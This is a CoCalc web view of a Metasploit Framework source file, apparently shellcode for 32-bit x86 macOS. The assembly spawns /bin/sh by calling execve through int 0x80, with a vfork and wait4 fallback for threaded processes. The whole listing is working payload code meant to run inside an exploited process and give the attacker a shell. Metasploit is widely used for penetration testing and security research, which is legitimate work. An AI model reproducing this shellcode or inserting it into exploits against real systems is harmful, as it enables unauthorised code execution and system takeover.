CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/osx/x86/include/_shell.s
Views: 11784
1
_shell:
2
;; Test if vfork() will be needed. If execve(0, 0, 0) fails with
3
;; ENOTSUP, then we are in a threaded process and need to call
4
;; vfork().
5
xor eax, eax
6
push eax ; envp
7
push eax ; argv
8
push eax ; path
9
push eax
10
mov al, 59 ; SYS_execve
11
int 0x80
12
nop
13
nop
14
cmp al, 45 ; ENOTSUP
15
jne .execve_binsh
16
17
.vfork:
18
mov al, 66 ; SYS_vfork
19
int 0x80 ; vfork()
20
cmp edx, byte 0
21
jz .wait
22
23
;; Both child and parent continue to run execve below. The parent
24
;; fails and falls through to call wait4(), the child succeeds
25
;; and obviously doesn't call wait4() since it has exec'd a new
26
;; executable.
27
28
.execve_binsh:
29
xor eax, eax
30
push eax ; "\0\0\0\0"
31
push 0x68732f2f ; "//sh"
32
push 0x6e69622f ; "/bin"
33
mov ebx, esp
34
push eax ; envp
35
push eax ; argv
36
push ebx ; path
37
push eax ; spacer
38
mov al, 59 ; SYS_execve
39
int 0x80
40
41
.wait:
42
;; Wait for child process to exit before continuing and crashing
43
xor eax, eax
44
push eax
45
mov ebx, esp
46
47
push eax ; rusage
48
push eax ; options
49
push ebx ; stat_loc
50
push eax ; pid
51
push eax ; spacer
52
mov al, 7
53
int 0x80
54
55